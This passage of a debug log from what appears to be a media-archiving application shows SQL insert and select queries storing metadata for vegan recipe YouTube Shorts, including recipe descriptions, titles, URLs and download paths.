"predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["INSTANT POT PASTA! High protein and ready in 30 minutes. Subscribe and watch the full video!\n\ninstant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰", "55680f91-ef7e-4c0e-92b2-62529b47f69c", 1, [], 35, false, "Y4U3pUqNBxM", "https://www.youtube.com/shorts/Y4U3pUqNBxM", 166, "/downloads/downloads/alec/Steamy Vegan/2023-05-09 vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰/vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰ [Y4U3pUqNBxM].NA", false, false, true, 2, ~U[2023-05-09 18:45:02Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "INSTANT POT PASTA! High protein and ready in 30 minutes. Subscribe and watch the full video!\n\ninstant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\n\nMusic by Citrus Avenue - Dizzy's Dinghy - https://thmatc.co/?l=F1429B65", "vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰", 1, 35, false, "Y4U3pUqNBxM", "https://www.youtube.com/shorts/Y4U3pUqNBxM", "/downloads/downloads/alec/Steamy Vegan/2023-05-09 vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰/vegan instant pot pasta 🍝 high-protein, ready in 30! ⏰ [Y4U3pUqNBxM].NA", true, ~U[2023-05-09 18:45:02Z]] 20:31:09.754 [debug] QUERY OK source="sources" db=1.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.756 [debug] QUERY OK source="media_items" db=2.5ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-08 23:45:02Z], 1] 20:31:09.765 [debug] QUERY OK source="media_items" db=7.4ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and GF chia pudding is a great breakfast recipe to start your day with tons of protein and a meal that actually keeps you full. I used powdered peanut butter and some berries I had in the freezer to give it a peanut butter and jam style of flavour. Hope you enjoy!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts", "1800d0d9-29e8-4bcc-9d80-5d8dacb3a2ec", 1, [], 42, false, "fC-93HUBRBo", "https://www.youtube.com/shorts/fC-93HUBRBo", 167, "/downloads/downloads/alec/Steamy Vegan/2023-05-08 PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts/PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts [fC-93HUBRBo].NA", false, false, true, 1, ~U[2023-05-08 23:45:02Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan and GF chia pudding is a great breakfast recipe to start your day with tons of protein and a meal that actually keeps you full. I used powdered peanut butter and some berries I had in the freezer to give it a peanut butter and jam style of flavour. Hope you enjoy!\n\nUse code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!", "PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts", 1, 42, false, "fC-93HUBRBo", "https://www.youtube.com/shorts/fC-93HUBRBo", "/downloads/downloads/alec/Steamy Vegan/2023-05-08 PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts/PROTEIN PACKED PB & BERRY CHIA PUDDING #shorts [fC-93HUBRBo].NA", true, ~U[2023-05-08 23:45:02Z]] 20:31:09.766 [debug] QUERY OK source="sources" db=0.6ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.769 [debug] QUERY OK source="media_items" db=3.5ms idle=12.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-06 14:15:19Z], 1] 20:31:09.772 [debug] QUERY OK source="media_items" db=2.3ms idle=13.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nCHOCOLATE PROTEIN 🍫 💪🏻 CHIA PUDDING | A 5-minute, protein packed, YUMMY breakfast! 😋 Chia seeds offer so much energy and nutrition, you can skip that second cup of coffee and have this instead. Here’s the recipe ⬇️ \n\nCHOCOLATE PROTEIN CHIA PUDDING For 1 serving\n8 oz plant milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nFollow @steamyvegankitchen for more plant-based deliciousness! 🌱 🙌🏻 \n\n#steamyvegankitchen #chiapudding #chocolate #plantproteins #veganbreakfastideas #chocolatechiapudding #chiaseedspudding #highproteinvegan #eatplantsnotfriends #yummyveganfood #yummyvegan #veganfoodies #plantstrongvegan #wholefooddiet #wfpbrecipes #wfpb #wfpbvegan #vegan #vegano #végétalien", "chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts", "38752360-7cd2-4c55-9f89-363e5266b537", 1, [], 35, false, "r8yV9fqVHZ0", "https://www.youtube.com/shorts/r8yV9fqVHZ0", 168, "/downloads/downloads/alec/Steamy Vegan/2023-05-06 chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts/chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts [r8yV9fqVHZ0].NA", false, false, true, 2, ~U[2023-05-06 14:15:19Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nCHOCOLATE PROTEIN 🍫 💪🏻 CHIA PUDDING | A 5-minute, protein packed, YUMMY breakfast! 😋 Chia seeds offer so much energy and nutrition, you can skip that second cup of coffee and have this instead. Here’s the recipe ⬇️ \n\nCHOCOLATE PROTEIN CHIA PUDDING For 1 serving\n8 oz plant milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nFollow @steamyvegankitchen for more plant-based deliciousness! 🌱 🙌🏻 \n\n#steamyvegankitchen #chiapudding #chocolate #plantproteins #veganbreakfastideas #chocolatechiapudding #chiaseedspudding #highproteinvegan #eatplantsnotfriends #yummyveganfood #yummyvegan #veganfoodies #plantstrongvegan #wholefooddiet #wfpbrecipes #wfpb #wfpbvegan #vegan #vegano #végétalien", "chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts", 1, 35, false, "r8yV9fqVHZ0", "https://www.youtube.com/shorts/r8yV9fqVHZ0", "/downloads/downloads/alec/Steamy Vegan/2023-05-06 chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts/chocolate protein chia pudding 🍫💪🏻 #youtubeshorts #shorts [r8yV9fqVHZ0].NA", true, ~U[2023-05-06 14:15:19Z]] 20:31:09.773 [debug] QUERY OK source="sources" db=0.6ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.776 [debug] QUERY OK source="media_items" db=2.8ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-05 18:00:01Z], 1] 20:31:09.778 [debug] QUERY OK source="media_items" db=0.7ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These black and white chocolate jam bites are going viral online and I just had to try them out for myself. I made these vegan as usual and they were incredible!!! \n\nSubscribe and check out the full recipe video with my pecan turtles recipe on the channel!", "Viral Chocolate Jam Bites😋😋 #shorts", "21e95a99-455e-41f3-b315-30b45aec9d5a", 1, [], 52, false, "2rlI4Fu6RiY", "https://www.youtube.com/shorts/2rlI4Fu6RiY", 169, "/downloads/downloads/alec/Steamy Vegan/2023-05-05 Viral Chocolate Jam Bites😋😋 #shorts/Viral Chocolate Jam Bites😋😋 #shorts [2rlI4Fu6RiY].NA", false, false, true, 1, ~U[2023-05-05 18:00:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These black and white chocolate jam bites are going viral online and I just had to try them out for myself. I made these vegan as usual and they were incredible!!! \n\nSubscribe and check out the full recipe video with my pecan turtles recipe on the channel!", "Viral Chocolate Jam Bites😋😋 #shorts", 1, 52, false, "2rlI4Fu6RiY", "https://www.youtube.com/shorts/2rlI4Fu6RiY", "/downloads/downloads/alec/Steamy Vegan/2023-05-05 Viral Chocolate Jam Bites😋😋 #shorts/Viral Chocolate Jam Bites😋😋 #shorts [2rlI4Fu6RiY].NA", true, ~U[2023-05-05 18:00:01Z]] 20:31:09.779 [debug] QUERY OK source="sources" db=0.8ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.782 [debug] QUERY OK source="media_items" db=2.4ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-04 14:00:09Z], 1] 20:31:09.785 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're in a rush and need a quick protein packed vegan and gluten free breakfast then you gotta make this! I love making these cheesy bean burritos and they only take me 5 minutes and I can grab it and get going with my workday immediately. \n\nSubscribe and check out some of my other vegan and GF mexican recipes. Here's just a taste of a few of them: \n1. Instant Pot Refried Beans: https://youtu.be/4B4GRiB3yzs\n2. The Best Guacamole: https://youtu.be/GDjh5_Maauc\n3. Pico De Gallo: https://youtu.be/zYX8d3bvg_w", "5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts", "aec6a5a7-ae60-4306-9b0b-a2ee186c21e8", 1, [], 27, false, "BoS7MypkrRU", "https://www.youtube.com/shorts/BoS7MypkrRU", 170, "/downloads/downloads/alec/Steamy Vegan/2023-05-04 5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts/5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts [BoS7MypkrRU].NA", false, false, true, 1, ~U[2023-05-04 14:00:09Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you're in a rush and need a quick protein packed vegan and gluten free breakfast then you gotta make this! I love making these cheesy bean burritos and they only take me 5 minutes and I can grab it and get going with my workday immediately. \n\nSubscribe and check out some of my other vegan and GF mexican recipes. Here's just a taste of a few of them: \n1. Instant Pot Refried Beans: https://youtu.be/4B4GRiB3yzs\n2. The Best Guacamole: https://youtu.be/GDjh5_Maauc\n3. Pico De Gallo: https://youtu.be/zYX8d3bvg_w", "5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts", 1, 27, false, "BoS7MypkrRU", "https://www.youtube.com/shorts/BoS7MypkrRU", "/downloads/downloads/alec/Steamy Vegan/2023-05-04 5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts/5 minute cheesy bean burrito breakfast in a rush 🌯😋 #shorts [BoS7MypkrRU].NA", true, ~U[2023-05-04 14:00:09Z]] 20:31:09.786 [debug] QUERY OK source="sources" db=0.8ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.788 [debug] QUERY OK source="media_items" db=1.9ms idle=8.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-03 14:00:16Z], 1] 20:31:09.791 [debug] QUERY OK source="media_items" db=1.9ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you want a filling vegan GF breakfast that's packed full of protein and will help you lose weight then this recipe is for you. Sweet potato toast is one of my all time favorite go-to breakfast recipes when I'm in a rush and crunched for time. This recipe only takes 5 minutes and I have several other variations on it in the below recipe video!\n\nSweet Potato Toast 3 Ways Recipes: https://youtu.be/_IS3CDabzNY\nSweet Potato Brownies: https://youtu.be/sZGmMaDVWHk\n\nSubscribe and let me know if you tried this out ❤", "5 Minute Sweet Potato Toast 🍠😋❤ #shorts", "bcab719d-ac14-4599-8c39-8a375114df5d", 1, [], 45, false, "I_GGKlyIHrg", "https://www.youtube.com/shorts/I_GGKlyIHrg", 171, "/downloads/downloads/alec/Steamy Vegan/2023-05-03 5 Minute Sweet Potato Toast 🍠😋❤ #shorts/5 Minute Sweet Potato Toast 🍠😋❤ #shorts [I_GGKlyIHrg].NA", false, false, true, 2, ~U[2023-05-03 14:00:16Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you want a filling vegan GF breakfast that's packed full of protein and will help you lose weight then this recipe is for you. Sweet potato toast is one of my all time favorite go-to breakfast recipes when I'm in a rush and crunched for time. This recipe only takes 5 minutes and I have several other variations on it in the below recipe video!\n\nSweet Potato Toast 3 Ways Recipes: https://youtu.be/_IS3CDabzNY\nSweet Potato Brownies: https://youtu.be/sZGmMaDVWHk\n\nSubscribe and let me know if you tried this out ❤", "5 Minute Sweet Potato Toast 🍠😋❤ #shorts", 1, 45, false, "I_GGKlyIHrg", "https://www.youtube.com/shorts/I_GGKlyIHrg", "/downloads/downloads/alec/Steamy Vegan/2023-05-03 5 Minute Sweet Potato Toast 🍠😋❤ #shorts/5 Minute Sweet Potato Toast 🍠😋❤ #shorts [I_GGKlyIHrg].NA", true, ~U[2023-05-03 14:00:16Z]] 20:31:09.792 [debug] QUERY OK source="sources" db=0.8ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.794 [debug] QUERY OK source="media_items" db=2.2ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-02 14:00:40Z], 1] 20:31:09.797 [debug] QUERY OK source="media_items" db=0.7ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My favorite way to top my GF and vegan waffles every Sunday is with nut or seed butter, homemade blueberry chia jam (recipe vid below), hemp seeds, and cinnamon. It's a simple yet protein packed and delicious way to enjoy your vegan waffles. \n\nTry making my super simple blueberry chia jam here: https://youtu.be/Qe3ml7MNi-M\n\nWant to make GF and Vegan blender pancakes? Then check out this awesome recipe vid here: https://youtu.be/Ku7a74eh3a8", "My Fav Way to Top My GF Vegan Waffles #shorts", "ab73873b-f6fc-496c-b47c-c05f260b666d", 1, [], 27, false, "vSZAeLUrI0M", "https://www.youtube.com/shorts/vSZAeLUrI0M", 172, "/downloads/downloads/alec/Steamy Vegan/2023-05-02 My Fav Way to Top My GF Vegan Waffles #shorts/My Fav Way to Top My GF Vegan Waffles #shorts [vSZAeLUrI0M].NA", false, false, true, 1, ~U[2023-05-02 14:00:40Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "My favorite way to top my GF and vegan waffles every Sunday is with nut or seed butter, homemade blueberry chia jam (recipe vid below), hemp seeds, and cinnamon. It's a simple yet protein packed and delicious way to enjoy your vegan waffles. \n\nTry making my super simple blueberry chia jam here: https://youtu.be/Qe3ml7MNi-M\n\nWant to make GF and Vegan blender pancakes? Then check out this awesome recipe vid here: https://youtu.be/Ku7a74eh3a8", "My Fav Way to Top My GF Vegan Waffles #shorts", 1, 27, false, "vSZAeLUrI0M", "https://www.youtube.com/shorts/vSZAeLUrI0M", "/downloads/downloads/alec/Steamy Vegan/2023-05-02 My Fav Way to Top My GF Vegan Waffles #shorts/My Fav Way to Top My GF Vegan Waffles #shorts [vSZAeLUrI0M].NA", true, ~U[2023-05-02 14:00:40Z]] 20:31:09.798 [debug] QUERY OK source="sources" db=1.0ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.800 [debug] QUERY OK source="media_items" db=2.3ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-01 23:20:00Z], 1] 20:31:09.801 [debug] QUERY OK source="media_items" db=0.7ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan and gluten free breakfast is my new favorite that I've been binging on all week. I used cocoa powder, peanut butter, and chia seeds to make it very high in protein and extremely filling.\n\nSubscribe and check out the recipe on my channel! Here the recipe link: https://youtu.be/MGEm9UCZdlM", "Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts", "f7c005f9-0428-47e6-b876-562481878e27", 1, [], 54, false, "HlNUPt3wCiw", "https://www.youtube.com/shorts/HlNUPt3wCiw", 173, "/downloads/downloads/alec/Steamy Vegan/2023-05-01 Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts/Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts [HlNUPt3wCiw].NA", false, false, true, 1, ~U[2023-05-01 23:20:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan and gluten free breakfast is my new favorite that I've been binging on all week. I used cocoa powder, peanut butter, and chia seeds to make it very high in protein and extremely filling.\n\nSubscribe and check out the recipe on my channel! Here the recipe link: https://youtu.be/MGEm9UCZdlM", "Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts", 1, 54, false, "HlNUPt3wCiw", "https://www.youtube.com/shorts/HlNUPt3wCiw", "/downloads/downloads/alec/Steamy Vegan/2023-05-01 Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts/Chocolate SunButter Chia Pudding YUMMMMM!!!😃😋 #shorts [HlNUPt3wCiw].NA", true, ~U[2023-05-01 23:20:00Z]] 20:31:09.802 [debug] QUERY OK source="sources" db=0.7ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.805 [debug] QUERY OK source="media_items" db=2.1ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-28 17:18:05Z], 1] 20:31:09.806 [debug] QUERY OK source="media_items" db=1.2ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO ➡️ \nhttps://youtu.be/ElN-bKuTYR4\n\nI'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut 